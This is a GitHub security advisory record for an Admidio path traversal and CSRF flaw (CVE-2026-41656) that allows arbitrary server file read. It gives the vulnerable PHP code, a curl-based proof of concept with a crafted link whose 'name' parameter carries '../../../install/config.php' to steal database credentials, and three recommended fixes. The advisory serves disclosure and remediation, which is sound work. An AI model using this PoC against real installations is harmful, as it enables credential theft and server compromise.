{"id":"GHSA-m9h6-8pqm-xrhf","summary":"Admidio has Path Traversal via Unvalidated `name` Parameter in Document Add Mode that Enables Arbitrary Server File Read","details":"## Summary\n\nThe `add` mode in `modules/documents-files.php` accepts a `name` parameter validated only as `'string'` type (HTML encoding), allowing path traversal characters (`../`) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and `SameSite=Lax` session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., `install/config.php` containing database credentials) into a documents folder accessible to the attacker.\n\n## Details\n\n**Root cause — incorrect input validation type (modules/documents-files.php:222):**\n\n```php\ncase 'add':\n    $getName = admFuncVariableIsValid($_GET, 'name', 'string');\n```\n\nThe `'string'` type in `admFuncVariableIsValid()` only applies `SecurityUtils::encodeHTML(StringUtils::strStripTags($value))` (system/bootstrap/function.php:414-416). Since `../` contains no HTML special characters (`\u003c`, `\u003e`, `&`, `\"`, `'`), path traversal sequences pass through unchanged.\n\nThe correct type would be `'file'`, which calls `StringUtils::strIsValidFileName()` (src/Infrastructure/Utils/StringUtils.php:217-236). This function checks `basename($filename) !== $filename` at line 228, which would reject any path containing directory separators.\n\n**Missing CSRF protection (modules/documents-files.php:221-238):**\n\n```php\ncase 'add':\n    $getName = admFuncVariableIsValid($_GET, 'name', 'string');\n\n    if (!$gCurrentUser-\u003eisAdministratorDocumentsFiles()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    $folder = new Folder($gDb);\n    $folder-\u003ereadDataByUuid($getFolderUUID);\n    $folder-\u003eaddFolderOrFileToDatabase($getName);\n    // ...\n```\n\nNo `SecurityUtils::validateCsrfToken()` or form object validation. Compare with `folder_delete` (line 140) and `file_delete` (line 170) which both validate CSRF tokens. The `add` action operates entirely via GET parameters.\n\n**Unsafe path construction (src/Documents/Entity/Folder.php:121-135):**\n\n```php\npublic function addFolderOrFileToDatabase(string $newFolderFileName): void\n{\n    $newFolderFileName = urldecode($newFolderFileName);\n    $newObjectPath = $this-\u003egetFullFolderPath() . '/' . $newFolderFileName;\n    // ...\n    if (is_file($newObjectPath)) {\n        $newFile = new File($this-\u003edb);\n        $newFile-\u003esetValue('fil_fol_id', $folderId);\n        $newFile-\u003esetValue('fil_name', $newFolderFileName);  // traversal stored in DB\n        // ...\n        $newFile-\u003esave();\n    }\n}\n```\n\nNo `realpath()` comparison or `basename()` check. The traversal filename (e.g., `../../../install/config.php`) is stored verbatim as `fil_name` in the database.\n\n**File served on download (src/Documents/Entity/File.php:88-91, src/Documents/Service/DocumentsService.php:68-119):**\n\n```php\n// File.php:88-91\npublic function getFullFilePath(): string\n{\n    return $this-\u003egetFullFolderPath() . '/' . $this-\u003egetValue('fil_name', 'database');\n}\n\n// DocumentsService.php:75-118\n$completePath = $file-\u003egetFullFilePath();  // reconstructs traversal path\n// ...\nreadfile($completePath);  // serves arbitrary file\n```\n\n**SameSite=Lax allows cross-site GET (src/Session/Entity/Session.php:544):**\n\n```php\n'samesite' =\u003e 'lax'\n```\n\nTop-level GET navigations from cross-site origins include the session cookie, enabling the CSRF attack vector.\n\n## PoC\n\n**Prerequisites:** Attacker has a regular user account with access to the documents module. A documents administrator is available to be social-engineered.\n\n```bash\n# Step 1: As regular user, browse the documents module to obtain a public folder UUID\ncurl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list'\n# Note a folder_uuid from the response, e.g., \"550e8400-e29b-41d4-a716-446655440000\"\n\n# Step 2: Craft a link targeting install/config.php (adjust ../ depth for folder nesting)\n# For a folder at adm_my_files/documents/Photos/, use three levels:\nPAYLOAD_URL='https://target.com/modules/documents-files.php?mode=add&folder_uuid=550e8400-e29b-41d4-a716-446655440000&name=../../../install/config.php'\n\n# Step 3: Send this link to a documents administrator (email, chat, etc.)\n# When the admin clicks it, the server's install/config.php is registered in the Photos folder\n# The admin sees a redirect back to the documents page (normal behavior)\n\n# Step 4: As attacker, list the folder to find the new file entry\ncurl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list&folder_uuid=550e8400-e29b-41d4-a716-446655440000'\n# The traversal file appears in the listing with its file_uuid\n\n# Step 5: Download the file using its UUID\ncurl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=download&file_uuid=\u003cFILE_UUID\u003e'\n# Response contains the contents of install/config.php, including:\n# $g_adm_srv  (database host)\n# $g_adm_usr  (database username)\n# $g_adm_pw   (database password)\n# $g_adm_db   (database name)\n```\n\n## Impact\n\n- **Arbitrary server file read**: An attacker can read any file on the server that the web server process has read access to, including `install/config.php` (database credentials), `/etc/passwd`, application source code, and other configuration files.\n- **Database credential exposure**: The primary target `install/config.php` contains plaintext database credentials, enabling direct database access and full compromise of the Admidio installation.\n- **Low attack complexity**: The CSRF vector requires only that an admin clicks a single link — no JavaScript, no form submission, no special browser behavior.\n\n## Recommended Fix\n\n**Fix 1 — Use `'file'` validation type for the `name` parameter (modules/documents-files.php:222):**\n\n```php\n// Before (vulnerable):\n$getName = admFuncVariableIsValid($_GET, 'name', 'string');\n\n// After (fixed):\n$getName = admFuncVariableIsValid($_GET, 'name', 'file');\n```\n\nThis invokes `StringUtils::strIsValidFileName()` which checks `basename($filename) !== $filename` and rejects any path containing directory traversal.\n\n**Fix 2 — Add CSRF protection to the `add` mode (modules/documents-files.php:221-238):**\n\nChange the `add` action from GET to POST and add CSRF token validation:\n\n```php\ncase 'add':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    $getName = admFuncVariableIsValid($_POST, 'name', 'file');\n\n    if (!$gCurrentUser-\u003eisAdministratorDocumentsFiles()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    $folder = new Folder($gDb);\n    $folder-\u003ereadDataByUuid($getFolderUUID);\n    $folder-\u003eaddFolderOrFileToDatabase($getName);\n    // ...\n```\n\n**Fix 3 (defense in depth) — Add path canonicalization in `addFolderOrFileToDatabase()` (src/Documents/Entity/Folder.php):**\n\n```php\npublic function addFolderOrFileToDatabase(string $newFolderFileName): void\n{\n    $newFolderFileName = urldecode($newFolderFileName);\n    $newObjectPath = $this-\u003egetFullFolderPath() . '/' . $newFolderFileName;\n\n    // Ensure the resolved path is within the folder directory\n    $realPath = realpath($newObjectPath);\n    $folderPath = realpath($this-\u003egetFullFolderPath());\n    if ($realPath === false || !str_starts_with($realPath, $folderPath . '/')) {\n        throw new Exception('SYS_FILENAME_INVALID');\n    }\n    // ... rest of method\n}\n```\n\nAll three fixes should be applied for defense in depth.","aliases":["CVE-2026-41656"],"modified":"2026-05-08T20:32:24.566005Z","published":"2026-04-29T21:42:20Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-29T21:42:20Z","nvd_published_at":"2026-05-07T04:16:28Z"},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-m9h6-8pqm-xrhf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41656"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"},{"type":"WEB","url":"https://github.com/Admidio/admidio/releases/tag/v5.0.9"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio/admidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.9"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-m9h6-8pqm-xrhf/GHSA-m9h6-8pqm-xrhf.json","last_known_affected_version_range":"\u003c= 5.0.8"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N"}]}